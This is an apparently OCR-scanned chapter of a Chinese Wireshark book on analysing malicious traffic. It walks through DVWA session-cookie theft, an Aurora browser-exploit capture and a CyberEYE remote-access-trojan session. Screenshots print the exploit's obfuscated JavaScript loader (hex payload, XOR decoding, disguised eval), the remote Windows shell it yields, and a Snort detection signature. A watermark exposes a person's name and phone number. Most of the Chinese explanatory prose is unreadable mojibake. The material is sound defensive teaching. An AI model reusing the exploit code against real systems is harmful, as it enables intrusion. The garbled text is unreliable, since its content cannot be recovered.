Expiration |

Date

Delete All Cookies

Delete Cookie
ncobrqrb7fj2a2sinddtk567g4|
172.16.16.181

L
ost Only
TTP Only

| Secure

7] Session

e.g., Feb 04 2016 13:16:09

Save -

<

| »

Found 18 domains,
Click "Sub Domains"link above to view cookies from sub domain
Click "Ali"link above to view all cookies.

& 12-13 4%/ Cookie F I BIEMH AR T EH I

ARG R T 2 AT e B IR 26, IR t, mas BN P i

Hik5 Web 55 488 VKA DRI AT BN ip. addr

172.16.16.154

&& ip.addr ==172.16.16.181 KIREEHLH.

EE— P AL /T, AT — M, T EEEE e R iR 2R
cookie fH. HWIRTE ARP SeAF BEREHIERE P ININ T — 2842 1, W eTmER
ZJa, #WIBE ARP SRAF & & IR E SN H, EHNTRAN
http.cookie pair. WHNSERUE, WA HISUE H FthhbA 2 J5 . FiiE

S 12-14 Fis.

M Wireshark - Preferences ? X
v Appearance
Layout Displayed Title Type Field Name Field Occurrence
Columns % No. Number
Font and Colors| M Time Time (format as specified)
Capture M Source Source address
Filter Expressions M Destination Destination address
Name Resolution %] Cookie pair Custom http.cookie_pair 0
> Protocols M Protocol  Protocol
> Statistics 1 Info Information
Advanced
ar
. , HE
[oc ][ cancel || Hep

12-14 KREA TAHRAENHFWAZA
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et R EERG, Bk, (U278 HTTP 153K, AL TCP 815
B ML BriiFi N (ip.addr==172.16.16.154 && ip.addr==172.
16.16.181) && (http.request.method || http.response.code)o

REVE 5 IS B A 12-15 .

No. Time Source
77 16.563004 172.16.16.154
79 16.565584 172.16.16.181
80 16.570187 172.16.16.154
81 16.575123 172.16.16.181
115 60.040166 172.16.16.154
118 60.042241 172.16.16.181
120 64.292056 172.16.16.154
122 64.293401 172.16.16.181

Destination

172.16.16.181
172.16.16.154
172.16.16.181
172.16.16.154
172.16.16.181
172.16.16.154
172.16.16.181
172.16.16.154

Cookie pair
security=low, PHPSESSID=1up7@ajeuodkrhrvbmsjtgrd71

security=low,PHPSESSID=1up7@ajeuodkrhrvbmsjtgrd71
security=low, PHPSESSID=ncobrqrb7fj2a2sinddtk567q4

security=low, PHPSESSID=ncobrqrb7fj2a2sinddtk567q4

Protocol  Info
HTTP @) GET /dvwa/ HTTP/1.1

HTTP

HTTP/1.1 302 Found @

HTTP @ GET /dvwa/login.php HTTP/1.1

HTTP

HTTP/1.1 200 OK (text/html)

HTTP @GET /dvwa/ HTTP/1.1

HTTP

HTTP/1.1 200 OK (text/html)

HTTP @) GET /dvwa/setup.php HTTP/1.1

HTTP

HTTP/1.1 200 OK (text/html)

12.3

B 12-15 HEHHEAZEH

PAE, BATEFIGEHE MRS MFRE. a0 4 MRS, Jehs
W R/dvwa/ Hk @, USRI SRS TS A 3025 Web JIR S5 #0302 RRiE K
HE A 2 AR URL. SRR, oo # 4% 5 5 7] 28 % L1 /dvwa/login.php @ . I
HE M ENIERERK O, HIRFEDNIERRIIO . WG RIS 208 1D
lup70ajeuodkrhrvbmsjtgrd71.

Bif5, FER/dvwa/ B, HANERBIIAESIE IDOKLE TN, &iF
ID BIAE /& ncobrqrb7fj2a2sinddtk567q4, 52 A2 E#MRME. XEH, B
HEBENSE, (A T OTH ID. MR FRAT A B o ) 2 80U, 1R
IR[ET HTTP 200 K&, HHINASEREHNZEFEEIN—0O ., Bah#HE
H 7 %%# 1 1D dvwa/setup.php@, TLTH N 25 [FIFFIR (B R Sh O« Bodi % FEGHIE
R I % EH —FEVT ) DVWA P o X — il fE R A1 A s 2 EH5 W P 4
B,

1% R Bk #00 BUs B o WA v Bl TR — M7 IEEIRATIAN, 4
Boi # Be 8 B 505 1 FEAE S B AL, R RIS SR A R AR [ aT REE
XS AL FEMB B I N R R A R R 22—

Im i

Wili AR UL RV, B NI P BRI T . Bl E Sa
FEUE L B, JEABL T MR RGN, SR DA HE N B bR R 8. FEA TR
TR R, BATR S — IR A BRI AR . R RT AAE
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12.3.1

JEHART Microsoft Y ik ARP 24775 Yl 8 € Ml &, A S Bi 5 s 10
TRV RS R AR

2010 4F 1 H, $OCATEIRIA 7 —A 2SI R A0 1E W 28I o X AN 7o
VFIH 34 BUS Google K A2 &1 1) B FRALES I root 2 ) I FE AR

F P R R A B R ) TE 30 B 28 0 ) — A s, el BE AT IX AR
A5 . SR, Budi #mt BE SLZISRAF T HLAS (0 B OURL PR . Bk i T “
Wyt BliERZEL . BT M4 7 (Spear phishing) &g Ml & %2 E
T RIE— BRI, 75T HE AR R, T %I@@*’l\
WM. B, WP aERERRIGRAERE, FHEEisgs
R .

TERRSEAT BN ZE B, FATI P Bl 4 s o 42 1) 8 — ZU P A iR
TX S HG A 060 2 75 S A aurora.peap o

ARSI LA EE (192.168.100.206) AT (192.168.100.202) 2
B ) =R AE F P46 . WIda AR H *T;E 80 ¥ty 1, IXAEFATHIE /& HTTP it
o NIRRT ERNM R, - — X /info [¥) HTTP GET 4RO,
WK 12-16 s,

M Wireshark - Packet 4 - aurora - O X

b
>
>
>
v

Frame 4: 345 bytes on wire (2768 bits), 345 bytes captured (2760 bits)

Ethernet II, Src: Vmware_07:ae:27 (00:0c:29:07:ae:27), Dst: HewlettP_bf:91:ee (00:25:b3:bf:91:ee)

Internet Protocol Version 4, Src: 192.168.100.2086, Dst: 192.168.100.202

Transmission Control Protocol, Src Port: 1831 (1@31), Dst Port: 8@ (88), Seq: 3982978894, Ack: 3836725423, Len: 291

> |Gl
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n
Accept-Language: en-us\r\n
Accept-Encoding: gzip, deflate\r\n
User-Agent: Mozilla/4.@ (compatible; MSIE 6.@; Windows NT 5.1; SV1)\rin
Host: 192.168.1088.282\r\n
Connection: Keep-Alive\r\n

[Full request URI: http://192.168.108.282/info]

1)

[HTTP request 1/3]
Response in frame: 6
Next request in frame: 7

No.: ¢ - Time: 0.000465 - Source: 192.168.100.206 - Destination: 192.168.100.202 - Cookie pair: = Protocol: HTTP * Length: 345 = Info: GET finfo HTTE/L.1

Close I | Help |

12-16 S EHMT —k 4T /info 49 GET K
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Yot ZF BN E T GET &k, FHEHERA 6 Hak[E 17— 302
(Moved Temporarily) 5. X ANPRASHED I8 5 FH T4 b0 W6 2% 25 0 (7] 21 55 — AN 0L i
EXANEFFIEZWt. 5 302 R [EESO—EKAIEH — Location 7B, E
& W 5 52 [ A7 B 2 /info?rFFWELU]LJHpP®, #n/& 12-17 iR .

M Wireshark - Packet 6 - aurora - O X

> Frame 6: 191 bytes on wire (1528 bits), 191 bytes captured (1528 bits)

> Ethernet II, Src: HewlettP_bf:9l:ee (@@:25:b3:bf:91:ee), Dst: Vmware_@7:ae:27 (@0:0c:29:07:a3e:27)

> Internet Protocol Version 4, Src: 192.168.1808.282, Dst: 192.168.100.2086

> Transmission Control Protocol, Src Port: 8@ (8@), Dst Port: 1031 (1831), Seq: 3836725423, Ack: 3982971185, Len: 137
> e a

Content-Type: text/html\r\n

Location: /info?rFfWELUjLIHPP\r\n @

Connection: Keep-Alive\r\n

Server: Apache\r\n

Content-Length: @\r\n

\rin

[HTTP response 1/3]

[Time since request: ©.47318208@ seconds]

Request in frame: 4

Next request in frame: 7

Next response in frame: 18

v

No.: 6 - Time: 0.278842 - Source: 192.168.100.202 - Destination: 192.168.100.206 - Cookie pair: = Protocol: HTTP - Length: 191 - Info: HTTR/.1 302 Moved

[Cooe [ v ]

12-17 B P | BRI HIE L E LG

WH HTTP 302 #HiEW/E, P umafdna 7 byt 75— Exs
/info?rFfWELU;LJHpP X4~ URL J GET iR, RJ5EEdEE 8 ks 7—4
ACK. ACK Z G JIME RN E 8 KA FEEE . AT L aE I
SeR s, A5 AT TCP MMHE— MR, WEdEt 9, X+ Follow TCP Stream.
TERXA BRI, FAVE S TV GET iR, 302 Erm, LA A
GET i3k, Wikl 12-18 fias.

fEMZ G, SHERA AR T . Wi F GET 5RMR | — A kk
WEPRERINA . B 12-19 BoR T IXEENFRIE—H55).

XL AR 2 <script>hR2E W K — RIIFEHLECT M 7 £ @ . HTML N
<script>PRZERRMEH T — M RAE S . RN, IRIEH 2 F 2%
ARG ) (EIXSERL AR W FOIE 1 N 7 W) BE SRR PR S i DL EAS I 1 e
TRATHERZ 2 — DA A i, AT DRSO EL-E ) ) SO
BT A NEERE TR AR IR A TR A R A 55 shellcode
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M Wireshark - Follow TCP Stream (tcp.stream eq 0) - aurora - u] X

GET /info HTTP/1.1 ~
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.8 (compatible; MSIE 6.8; Windows NT 5.1; SV1)

Host: 192.168.100.282

Connection: Keep-Alive

HTTP/1.1 302 Moved
Content-Type: text/html
Location: /info?rFFWELUFLIHPP
Connection: Keep-Alive
Server: Apache
Content-Length: @

GET /info?rFfWELUJLIHPP HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.® (compatible; MSIE 6.8; Windows NT 5.1; SV1)

Host: 192.168.100.282

Connection: Keep-Alive

HTTP/1.1 266 0K
Content-Type: text/html
Pragma: no-cache
Connection: Keep-Alive
Server: Apache
Content-Length: 11266

3 cllen: pief). 40 srver pkefs),  aumfs)
|Entire conversation (12 k) il Show data as Stream
Find: | | [Findnext |

|H\de lhisslraam‘ ‘ Print ‘ ‘ Save as... ‘ ‘ Close ‘ ‘ Help ‘

12-18 K EB|E P m b 53R

M Wireshark . Follow TCP Stream (tcp.stream eq 0) - aurora - [m} X
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.8//EN"> &
<html>
<head>
<script> @

var IwpVuiFqihVySoJStwXmT =
'94271477133b00@b1a0Cc240339133c12022805160e1503684d705005291a08091b3e6e71321122520b03123d05180839
2c8d27123b0a@805033c1c0735321a2407350314142935250829033c0a00000721142624011122270228250821253F2c3
9394a716a2615275207142524357d43772c2702705a21466a657c6e4a256a7450614176566c65257e4165310515150a0
2b35302a103d0e0@30412023436213a3c34073e1b0d0de2131e371635200221101c38093913112e3222232111323930213
3381b330a@c2c1175576c22271325112308236b2F270F2d3e2d353c172b83393164031d192b1e363c012f072d31153823
8f2e113979490b03123d051808392c0d27123b0ad805033c1c@735321a2407350314142935250829083c0a00000721142
62401112a2270228250821253f2c39393125176614310627466a656e0d3a3968730d261334463b1122303b87052d3d3705
303e36340705131deb2934142b870d33657175043926244b261334461d362b31063d3e00263e1c110T11880250234002
9150110220c1el11c3d@e27373a3221050T2b2208341704042c684d701c231177043e270b3562614b26133446220e083e
1c8d@elb3d1d31362b271221170036001a240230092222638383d152b1a23162b@d3330230b14053e3e3c1a321537122
d27043a30271d2439383b1211160a033e1c211e3831203e3e14313619021088112c1e231603112d363975576c31261523
112716327e2a2004213e21113e5221212e233d131c0f1318223d2a24080212361718392626070a24072c2710253321882
3092a15390917190d3e3310250d0c04853d04173d1caf212b180826333c382d3e3d2036000921320alc36371ed4e7e3e3a
34186c27111767352e1f26@ala2d281c3b3c1e113411272e3d2419043d680611023c280d1c3318332b3b1c3d@61fabase
810103b173a1601322302060d16260216001c1c05684d70070d223c330d113901070b0A1d02116b15236113818180a3F
188725123a12153438170c113b85152621162a3e211e262820124082422381127020605220124293369293c3321011a0
33a040822143533003T08000e22392c352708351371656b70112a727c417507715565726920537b782e55254b71523660
39610b75286d05364b7255723078305e2e6T3d49624b76432223746108693F7b47694063136423756c41392c7d4969573
3526T7c7d701175287b167507725763236920522979715525417152616039315c78786d05644a720372302a6d592a6T3d
44364b774322767b6153693f7c4164136313637c2a3143973704966573355602328701F782b7c1175077f50627469205
e7b7e7a55254623526460396c08787d6d0569107T5672302a6d597b6T3d1669462743227129665d693F2213364763136¢
762a3641397e29433657335460717f701175727c167507225062726920537b2c7d55254b7752646839615b78726d05364
77f5672302a365e746T3d443614714322777b315c69317c116245631331217e624392c7d4963573300337174701 7572
711675077207627569205e742c7d5525467T00336039615375796d05644a74517230756d5375673d43364b2443227c7d6
2 ARRAAA31331217F334F30727244605733546A2328701 752071 407507200264726020522d797F55254h7F5F Y

3 cllent pkefs), 10 server pkefs), 5 tunfs).

‘Enfre conversation (12 kB) = ‘ Show data as Stream

Find: | | [ Findnext |

|Hide this sVeam‘ [ Print ‘ ‘ Save as... ‘ [ Close | ‘ Help ‘

B 12-19  <script>#74 19 49 4L RA ARG R MG AL T
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12-20 R T B FHAGE I Mo NE . EOmBCARZ G, Blllik
AFED| T AR BMERCH 3 W AR RN, JATHAER 1R CARME
FEAE— LR R A b A — L8 P AT R AT X0 P A AR AR </script>Z TR —
E B W Nk

M Wireshark - Follow TCP Stream (tcp.stream eq 0) - aurora - m] X

7c2978148c077605672110205a217a2c2c2542255633193965097c2e1405601176020b307c365a28163d403342223a22 A
752f650e103f781360161a1367267c3136397a2b40342e335634752809117c2978140c0A776056721108205a217a2c2c254
2255633193965097c2e1405601176020b307c365a28163d403342223a227521650e1031781360161a1367267c3136397a
2b4@342e335634752809117c2978148c0776056721182085a217a2c2c2542255633193965097c221405601176@20b307c3
652328163d483342223522752765021831781360161a1367267c3148772c2702705a2T466a657cbe4a256a74501d17031e
1e@822200c891d@a391c1lc1420270c212c121elelf371500050a2e3522302838301802113b@505311139330706123d0a3
9312e012229623981222d3c186b522T4d7c6c37180T0932013d32072023000705190410c38393deb3e3403120b10186T
263108321704122d153e14230129202425142b2c@f30363c2924233d1c@blb1b48332438344a716a384b2d04271477316
€684a201e2615013989031a223b23322d3b8b2029238787130115140128643b8233372a03322022215131 " ;

var RXb = '";
for (i = @;i<IwpVuiFqihVySolStwXmT.length;i+=2) {
RXb +=

String.fromCharCode(parseInt(IwpVuiFqihVySolStwXmT.substring(i, i+2), 16));
¥

var vulGWsvUonxrQzpqgBXPrINSKRGee = location.search.substring(l);
var NgxAXnnXiILOBMwVnKognbp = "";
for (i=0;i<RXb.length;i++) {
NgxAXnnXiILOBMwVnKognbp +=
String.fromCharCode(RXb.charCodeAt(i) ~ vuWGWsvUonxrQzpqgBXPrZNSKRGee.charCodeAt(i
FvuWGWsvUonxrQzpggBXPrZNSKRGee.length));

window[“eval”.replace(/[A-Z]/g,"")](NgxAXnnXiILOBMwVnKognbp);

</script>

</head>

<body>

<span id="vhQYFCtoDn0zUOuxAT1DSzVMIHYhjJojAOCHNZtQd1xSPFUeEthCGdRtITIY" ><iframe src="/
infowTVeeGDYIWNFsrdrvXiYApnuPoCMRrSZuktbVgwuZCXwxKjtEc1bPulPPctcflhsttMRrSyxl.gif" @
onload="WisgEgTNEfaONekEqaMyAUALLMYW(event)" /></span></body></html>

</body> V]

3 dlient ples). 10 server pkes). 5 tumys).
lEntire conversation (12 kB) - l Show data as | ASCII - Stream
Find: [ ‘ I Find Next I
‘Hide this stream‘ ‘ Print ‘ ‘ Save as... ‘ ‘ Close ‘ ‘ Help ‘

& 12-20 R4 B LA GX AN B AT T ik LAFT £E49 iframe

Wil & R P i i n — BB S PIA . 28 1 #70 &<span
id="vhQYFCtoDnOzUOuxAfIDSzZVMIHYhjJoj AOCHNZtQdIxSPFUeEthCGdRtIY">@ .
2 # o AH fE<span></span>trZE N, f&<iframe src="/infowTVeeGDYJWNfsr
drvXiYApnuPoCMjRrSZuKtbVgwuZ CXwxKjtEcIbPuJPPctcflhsttMRrSyxl.gif'onload=
"WisgEgTNEfaONekEqaMyAUALLMY W (event)" />@ . X% Py 25 4 1] g2 %
AT NWIFRE, BUONREESOR AR A3 AN AT A B AL 5755 o AT BE B VR
EBUN=(1) NS

<span>fRZE LS T — iframe, XREXEHHHNITE, HTE HTML
U PR AN N 2 o <iframe>hr2E G0 7 — NI, JEABE R P %800, 71X

280 Wireshark HiEBSHrSEL (58 3 FRD
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ANEBF, <iframe>br2E 51 H] 7 —N 4 7 B GIF SCfF. Inld 12-21 Pos, 4
SH A B AR R IR XA SO SR, EESEEA 21 HRIE T — GET
RO, KA GIF MLkl Rk 7@ . XA~ GIF ST A RER SR A
7, ik ST HEIR2 EE LA LR AR .

Time Source Destination Protocol  Info
21 1.288241 192.168.100.206 192.168.100.202 HTTP oGET /infowTVeeGDYIWNTsrdrvXiYApnuPoCMjRrSZuKtbVgwuZCXwxKjtEc1bPuJPPctcflhsttMRrSyxl.gif HTTP/1.1
22 1.488200 192.168.100.202 192.168.100.206 TCP 80 » 1031 [ACK] Seq=3@036736951 Ack=3982971911 Win=64518 Len=0
23 1.489366 192.168.100.202 192.168.100.206 HTTP @HTTP/1.1 200 OK (GIF89a) (GIF89a) (image/gif)
24 1.650958 192.168.100.206 192.168.100.202 TCP 1031 > 8@ [ACK] 5eq=3982971911 Ack=3036737098 Win=640893 Len=0

B 12-21 2T RHF T iframe F 5949 GIF A

M2 HH B 4321 G O YIE A E RS, SO S A R i — 3 B
T, WEEHIEA 25, M Packet Details [HIH & F 2 —/MBEERIFAGRSHEKZ
FE, PILERATHREE TCP @R LA ISR 7 emm s . K 12-22 &
7~ 1 Follow TCP Stream T I HJ % H

M Wireshark - Follow TCP Stream (tcp.stream eq 1) - aurora - [m} X

.......... ‘..1.d.Re.R..R..r(..:|&1.1..<a|., e
.RW.R..B<...@x..tJ..P.H..X ...<I.4...1.1.
i .} }$u PR T A e D$$[[aYZQ x Z....]hemd. . .WWW1.5.YV..f.D$<...D
5 .DTPVWVEVNVVSVhy. ?. . .. . NVF.@h... ...... Vho..... <. |
.U..G.roj.s..Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2801 Microsoft Corp. @

C:\Documents and Settings\Administrator\Desktop>dir @

dir

Volume in drive C has no label.

Volume Serial Number is 84AA-C@SE

Directory of C:\Documents and Settings\Administrator\Desktop

@7/13/201@ ©5:33 PM <DIR>
@7/13/201@ ©5:33 PM <DIR>

@7/13/201@ ©5:33 PM <DIR> data >}

@7/13/201@ ©5:33 PM <DIR> docs

@7/13/201@ @5:34 PM 227 passwords.txt
1 File(s) 227 bytes

4 Dir(s) 19,271,598,080 bytes free

C:\Documents and Settings\Administrator\Desktop>

4 dlient pktfs) 3 server pke(s). 3 twrnfs).
!Entire conversation (899 bytes) hd ‘ Show data as | ASCII - Stream
Find: | | [ Findnext |

‘Hide this stream‘ ‘ Print ‘ ‘ Save as... ‘ ‘ Close ‘ ‘ Help :

12-22 HEFBIIAN SR EPLSFTUIREL

FEXH, BATE R T BAZAZE 5 R EARKIARTE: —A Windows &7 fif
B @ XA shell 2R EEHRKERSTAH, XRBGEE RIFIH T i
— BRI AR B30, % g Bl AOE Bl — S AT R g . AERX A

F 125 RETEHBIEE ST 281
B4bitXKensuke(18319066421) = {SEELRIY



R, BATR BRGNS H 5ZEENZL: A dir 72 @ LIS 2 HEH
PLERHI H FNAEO.

Bl B BE N XA AT RS Ja , W2 HE LA HUA 1 o IR0 BAUR
fit JLFBEMUE AT AR S . 2 HEFE RALRE AT — N AR, U Z NEL
AN e B HIBUR S 4 T Bk % .

G XA B IR R R e 70 28 B AR i A 5 P 38 5 0 4 B e A ] 1R Y
7, LB LS IDS (NRE RS KBl. MiEAFME, %A XA
TR FEL T MR, WEEZEFOREEEA, ERAH— S0 2R
MG ZEE ARG LRR KA T 4. 3207, AT LR G 3R
B AR ) — e ik 22 DL, 3K AL HE <script>FR S B — BSIRVE A . AN
iframe, LAK B SCRINII M AT IR 2% -

P IAE X B — N ORI R AR 2 ] AR .

o ZEFWE|—HKALEHH MM, BEORAE, SEhr AR, B

L —NEERE, ) I A Xl % — N GET 3K .

o i Web HRSS2% 17132 3 K HY 302 B E R, 325 H 1M 06 2% 17 5 5E [

URL H3&K#E—4 GET i5K.

o I Web RS5as 1%/ b A% — A TR ) JavaScript AURY (RL4E—
AMRRFIHFER) (1 Web Ut , LA — D EAEE GIF EIREEZI iframe.

o ZEHIEEEEKE—A GET iR, HE Mm% LT k.

o FIH IE WISEES MR, {3 AR GIF SUHHRIR IR 2 BT A% 1Y JavaScript X
4, JFERZTEHENG LT,

o HIRIAHRINAIM, HhAT BB IR AU H 1Y payload, MAEFH ¥ A1
o Y 4321 I T — N Hr il
o % payload &/ A Mg ATWRESIFIR MG B %, DMER &S5 HiR
BEAT R H
MBI R, BATRT LM HZ AN SRS IDS B —AMRHIE, HiF
REA Bh TR X A By o 2580, BRATAT LI PR P AR IR E B, B
In<script>Pr%E HLRE CAR BSOS, 3oh— D EEZ N E S 302 &
SE A F4FE URL [ HTTP LS — ML AREAEAE P58 b (X AMRHALE
T — RN R, (X 2R MR R T .

282 Wireshark ##EE 75 #rsLhk (58 3 hiR)
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zE

¢l

12.3.2

N ===
AE
=

Xj' F)ﬂérﬂ 714"\4‘175&}]7‘]‘{1/7/\31‘7 %f‘:\. = /ﬁfﬁ’ﬁ‘ﬁ’@ %/zuuz#%@:-;%j}f
TR —, X PR %&ﬁ%b%ﬁ&%%%ﬁ£o

SIHHCAIE, BRI T — % g fh, R S Bk
TSI 0k, A E AR IehR. R RS TR, <5 P 22 4 AT T i
BRSO G—HIR . (120 %R AR IDS Bdr, HET ik XN
WCRAE, AR T3 2 W B R, S PR .

FET— R, BATRAR W LRI U — B, A —N T B 4
g AT, FATH IDS AR T XA E )

[**] [1:132456789:2] CyberEYE RAT Session Establishment [**]
[Classification:A Network Trojan was detected] [Priority:1]
07/18-12:45:04.656854 172.16.0.111:4433 -> 172.16.0.114:6641
TCP TTL:128 TO0S:0x0 ID:6526 IpLen:20 DgmLen:54 DF

***AP*** Seq:0x53BAEBSE Ack:0x18874922 Win:0xFAFO TcpLen:20

T B IR A A A L R PR RN -

alert tcp any any -> $HOME_NET any (msg:"CyberEYE RAT Session Establishment";
content:" |41 4E 41 42 49 4C 47 49 7C|"; classtype:trojan-activity;
s1d:132456789; rev:2;)

AKX E T 298 R — AN A I A 6 2 A 7S gkl g
7% 41 4E 41 42 49 4C 47 49 7C B, Hir=AE 2. XA WA # ST 1 ASCI 1Y
/& ANA BILGI. 4kl BIX AN 745 5 i g 24 f, nJRETI/R#E CyberEYE HE
Vil AK L (Remote-access Trojan, RAT) HIHEl. RAT E%JAJ‘LJ X FEHIT
B LSRR AR, EREE B IERE, SR E RS ERN
Hls.

CyberEYE Zk Al £ H Aoy T B, A T4 RATRFFEE “WB”, A4
092, X2 A4 Snort LU A — AR F 4 $ “ANABILGI”, ©H %2 EF
EXF, AT AL HEE,

IAEFRA PR AE ratinfected.peap XA ER SEHA RMLE . Snort lH H
IR A A R AN R L, (H SRR IRATTA ENLIE ) e RS P A LEFRATTHE
% Snort AU H BTN HE R, EEBR B 77 .

F 125 RETEMBUEESH 283
B4bitXKensuke(18319066421) = {SEELRIY



(1) i%&$ Edit->Find Packet.

(2) %+ Hex Value HLEFZ4H] .

(3) {ESCAHESI N 41 4E 41 42 49 4C 47 49 7C.
(4) H.if7 Find.

ikl 12-23 s, PRESEERAR AL 4 IEIREM S RI T UL EFHF 5RO,

Frame 4: 68 bytes on wire (544 bits), 68 bytes captured (544 bits) on interface @
Ethernet II, Src: Vmware_07:ae:27 (@0:0c:29:07:ae:27), Dst: HewlettP_bf:91:ee (00:25:b3:bf:91:ee)
Internet Protocol Version 4, Src: 172.16.0.111, Dst: 172.16.0.114

Cvvvy

Data (14 bytes)
Data: 414e4142494c47497¢3535360d0a o
[Length: 14]

Transmission Control Protocol, Src Port: 4433 (4433), Dst Port: 6641 (6641), Seq: 1484758878, Ack: 411519266, Len: 14

@@ 25 b3 bf 91 eec @@ 6c 29 @7 ae 27 @3 @@ 45 80  .%.

@0 36 19 7e 40 @0 80 06 583 42 ac 10 @0 6f ac 10  .6.

@@ 72 11 51 19 f1 53 ba eb Se 18 87 49 22 5@ 13 r.Q..5. .~..I"P
+

CUECIR CIR TR N o1 de 41 42 49 4c 47 49 Tc 35N AN ABILGI|S|

LT M=5 36 od odl 56. ]
@ 7 Data (data.data), 14bytes || Packets: 779 - Displayed: 779 (100.0%) * Load time: 0:0.8|| Profile: Default

12-23 RALEHEC 4 FLIT Snort ERFUFHEHNE

12 KL Edit->Find Next, R&F WX FEAF R WAERIEE 5. 10,

156+ 280. 405. 531 1 652 I T o BRI AN IR ST B 7 BT A 845 #5275 I
FHFE (172.16.0.111) FZFEE (172.16.0.114) Z[AF=4R, HELRZAF
Frep AR TN E 2GR . B AL 4 05 8 FH 4433 S R 6641 i F1iE1E,

T Fe At K 43 S48 HE BILAE 4433 3 11 AN FAth il WL 32k 28 14 1 BT oy

Fz [ JEa

% Conversations & /] TCP ¥x2%, AT AANFEZ A6, WA 12-24

Fs

M Wireshark - Conversations - ratinfected

Ethernet * 1 IPvg -1 IPve TCP-8 uop

32,

Address A PortA AddressB  PortB Packets Bytes Packets A—B BytesA—B PacketsB—A BytesB —A Rel Start Duration  Bits/s A—B Bits/sB — A

172160114 6641 172160111 4433 48 2989 24 1589 24 1400 0.000000000 132.12960% 96 a4
172160114 6642 172160111 4433 0 585 6 343 4 242 0.012008000 132117839 20 14
172160114 6643 172160111 4433 120 91k 87 29k 33 1807 74.205235000  0.066042 oM 218k
172160114 6644 172160117 4433 120 91k 87 29k 33 1807 84.209773000  0.070053 oM 206 k
172160114 6645 172,160,111 4433 121 %4k 89 92k 32 1753 94.225097000  0.072995 oM 192k
172160114 6646 172,160,111 4433 122 94k N 93k 31 1699 104.238402000  0.071781 oM 189k
172160114 6647 172,160,111 4433 s 91k 87 2k 32 1753 114.238812000  0.070326 oM 199k
172160114 6648 172,160,111 4433 s 91k 87 2k 32 1753 113.445540000  0.066413 oM 211k

[ Mame resolution

[ Limit to display filter [Conversation Types

12-24 sKEHEF S EXEZ L4 3 MR LGS

284 Wireshark #iEE 9Lk (58 3 kip)
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FATAT CAES BRSO B AN [l 24l i) EAS R, AR AT A5 BT

(1) {E Packet List AR A I8 H, ML IESS (tep. flags. sy
1) && (tcp.flags.ack == 0). 259 d Apply. X fﬂilfiﬁﬁiqj*
N2 TERIPIGE SYN 2idi L.

(2) A — N EdEts, % Colorize Conversation.

(3) IEF TCP, RJGikFE—FEi.

(4) NFEIFHSYN s ERIXANERE, SaliEBEAFE RS,

(5) e )5, 1%+ Clear 5[t eSS .

NEANEECG, AT UG —BMATZ G 4R, X5 BhERA]
A IR BRI & ENLZ M@ SR . 55— 218 (ports 6641/4433) 2 ¥ i il
G g, MXIFIEASE T . AhatE B E— M dEE, %5 Follow TCP
Stream 7] DL B #iAE5r s, il 12-25 s

‘ Wireshark - Follow TCP Stream (tcp.stream eq 0) - ratinfected - O X

ANABILGI |556 @ "
ANABILGI |192.168.126.143|US|ratl|NO|Administrator / CSANDERS-6F7F77 |Windows XP Service Pack
3|Intel(R) Core(TM)2 Duo CPU T968@ (@ 2.88GHz|511 MB|1.2|7/18/2018| @
BAGLIMI?

BAGLIMI?

BAGLIMI?

BAGLIMI? ©

BAGLIMI?

BAGLIMI?

BAGLIMI?

CAPSCREENGE @)

BAGLIMI?

CAPSCREENG@

BAGLIMI?

CAPSCREENG@

BAGLIMI?

CAPSCREENG8

BAGLIMI?

CAPSCREENG@

CAPSCREENG@

BAGLIMI?

BAGLIMI?

v

14 dlient pkys). 7 server pkt(s), 11 turm(3).
‘Emjre conversation (373 bytes) v Show data as | ASCIL v Stream

Find: | | [ Findnext |

‘Hide this stream ‘ Print ‘ Save as... ‘ Close ‘ Help

12-25 F— /Nt A T HMYER

IRER, FRATVE BB & 45 52 HH RIESURFRFH# “ANABILGI556” @ . 25
B, LEHWNT —HEARGEL, S TENILH (CSANDERS-6F7F77) Fl

F 125 RETEMBUEESH 285
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P IEAE 248 (Windows XP Service Pack 3) @, FH-IUE4E T4 Kikla—tE g
FFFE “BAGLIMI?” ©. Ik [FITH A A 74778 “CAPSCREEN60” @,
HILT 6 K.

Wi #E IR B 747 “CAPSCREEN60” 1RAEE, H—F T EmA LM,
PATHEIRAEF search XHEHESEBE R IXA CA R, $8 String 1ET1.

AR PR 27 HRHIL TR PR . XME R A B AT
P R B AR RS AR AR SO HR ﬁfiﬂl?&@
29 Kl T — N

WAE, M RFATERFEX A2k (LK 12-26) ) TCP ftfiti, #teeE 3
AEBI)TFFR “ANABILGI 127, BRAESS 2748 “SH|S56”, o & 70
g “ CAPSCREEN|C:\WINDOWS\jpgevhook.dat[84972 7 @ . i & 3| 7 £ th
“CAPSCREEN” Z J& ¥ B I SR A% J5 TSR AN AT SOAS o X B 5| A
%Kﬂﬁi$ﬁ—|%§?ﬁ$“mm”ewh%bﬁ%—Tﬂﬁ,mGiﬁ
(R Sk 70 L e

M Wireshark . Follow TCP Stream (tcp.stream eq 2) - ratinfected - m] X
ANABILGI|12 A
SH|556

CAPSCREEN|C: \NINDONS\]pgevhook dat|84372 @

...... B e e e

ee. .)10.)-,3:3>36F7,-

@MAFLNRSRZ)ZBZP ULl - m S e &. . &05-500000000000000000000000000000000000000000000000000

[0 T aannoonooonosa0a0000600000000 00056505

..................... Feo--aao-lIAL.08.¥q.2. .. #B. . .R..%3br.

(A B RO = ) E G i ST DG =t e Bl N e e e e e e
..................... e U UL By S s #3R..br

-34.

Hevnnn &' ()*56789: CDEFGHIJSTLMAD(Ychefgh1]stuwxyz ..............................................
......................................... Slw [ liels ook bl oo dthe diF s oo0 000000 b LT Hn oot

| KA 2 M EY et ) BTS2 SPSE YA T so 1t Oy ta/c) Gl

[Q.... a. .0%... ..—..(a.....i. 5115 .#.hr....TQ...u(.....D....K..."...A.e.)@..d..eRr.G?N...
e E[v|D R E T 00 oo Talil Ea s 0{..0...t...AI.....h.A..S.......CmS

cillocoon oo (ocoacos a?fn ..... YVZE@ ] q.aR6f.wB..Z..+....~(..B.N.....tU. 4ZR g U g e

: o st 0 L R T P MOR,.u 5 o
